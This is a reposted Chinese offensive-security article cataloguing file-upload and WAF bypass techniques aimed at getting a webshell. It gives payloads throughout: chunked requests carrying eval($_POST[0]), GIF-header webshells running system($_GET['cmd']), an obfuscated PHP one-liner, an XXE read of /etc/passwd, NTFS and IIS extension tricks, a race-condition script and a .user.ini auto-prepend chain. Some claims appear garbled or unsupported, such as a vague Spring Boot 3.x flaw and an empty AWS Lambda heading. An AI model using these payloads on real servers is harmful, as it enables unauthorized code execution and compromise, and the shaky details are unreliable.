一、协议层混淆技术
-
1. MIME编码利用RFC 2047规范对文件名进行编码混淆,例如将shell.jsp编码为
=?utf-8?Q?shell.jsp?=
-
2. HTTP协议拆分在请求头中插入多个Content-Disposition字段或修改boundary值,例如:
Content-Disposition: form-data; name="file";
Content-Disposition: filename="shell.php"
通过构造不规范的协议格式干扰WAF解析逻辑。
-
3. 分块传输编码(Chunked Encoding)将恶意文件内容拆分为多个HTTP分块发送,绕过基于完整内容检测的WAF规则。
POST /upload.php HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
5;x=1
5;y=2
eval(
7;z=3
$_POST[0]
1;
);
0rnrn
二、文件内容欺骗技术
1. 混合文件头构造
在木马前添加合法文件头(如GIF89a或%PDF-1.5),同时保留脚本代码:
GIF89a;
system($_GET['cmd']);
可绕过基于前512字节的魔数检测。
- 2. AST语法树注入
通过混淆代码结构绕过AI模型检测,例如:
<?= (($$$$$_=@$_GET[0x1]) && $$$$$$_=$$$$$_.['']) ? $$$$$$_() : 1;?>
-
3. XML实体注入(针对SVG/Office文件)在SVG文件中嵌入CDATA区块隐藏恶意脚本:
<svg>
<![CDATA[<?xml version="1.0"?><!DOCTYPE x [<!ENTITY % xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> %xxe;]>]]>
</svg>
三、系统特性利用代码示例
1. Windows特性绕过
① NTFS数据流特性
POST /upload.php HTTP/1.1
Content-Disposition: form-data; name="file"; filename="shell.php::$DATA" system($_GET['cmd']);
原理:利用NTFS文件流的特性,::DATA
标识符会被Windows自动忽略,最终保存为shell.php
。
② IIS短文件名截断
PUT /upload/shell.asp;.jpg HTTP/1.1
Content-Type: image/jpeg
<% Response.Write("Exploited") %>
原理:IIS 6.0及以下版本会忽略分号后的内容,将shell.asp;.jpg
解析为shell.asp
执行。
2. Linux解析漏洞
① Apache多级扩展名绕过
# Apache配置片段(错误示例)
AddHandler application/x-httpd-php .php .php3
上传文件shell.php.png
后,若.png
未注册处理程序,Apache可能回退到.php
解析。
② Spring Boot路径标准化漏洞
String fileName = "../../var/log/spring.log.jsp";
multipartFile.transferTo(newFile(uploadDir + fileName));
原理:Spring Boot 3.x路径标准化缺陷可能导致日志文件被覆盖为Webshell。
3. 云原生环境绕过(没遇到过,可以参考一下)
AWS Lambda内存驻留攻击
① CDN边缘解析漏洞
GET/cdn_cache/image.png/.php HTTP/1.1
Host:
原理:部分CDN边缘节点(如Nginx错误配置)可能将image.png/.php
解析为PHP脚本。
四、高级逻辑漏洞组合
-
1. 条件竞争自动化使用Turbo Intruder工具实现毫秒级并发攻击,在文件被重命名或删除前触发执行(但是这个工具里的脚本我自己用不太明白,我并发一般用yakit里自带的并发工具,但是功能确实没有这个强大):
engine = RequestEngine(concurrentConnections=50, requestsPerConnection=100)
engine.queue(upload_payload, pauseTime=1000)
engine.queue(access_payload, delay=800)
-
2. 文件包含链式利用上传.user.ini文件配置自动加载:
auto_prepend_file=malicious.jpg
强制所有PHP文件包含恶意图片马。
五、WAF对抗技术
-
1. 数据包污染在请求中插入1MB以上随机数据,突破WAF内容检测阈值。 -
2. 语义层绕过使用双重URL编码或零宽空格(%E2%80%8B)混淆关键词,例如:
%2566ile(解码后为file)
原文始发于微信公众号(无尽藏攻防实验室):最新文件上传姿势一览,助你getshell!
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论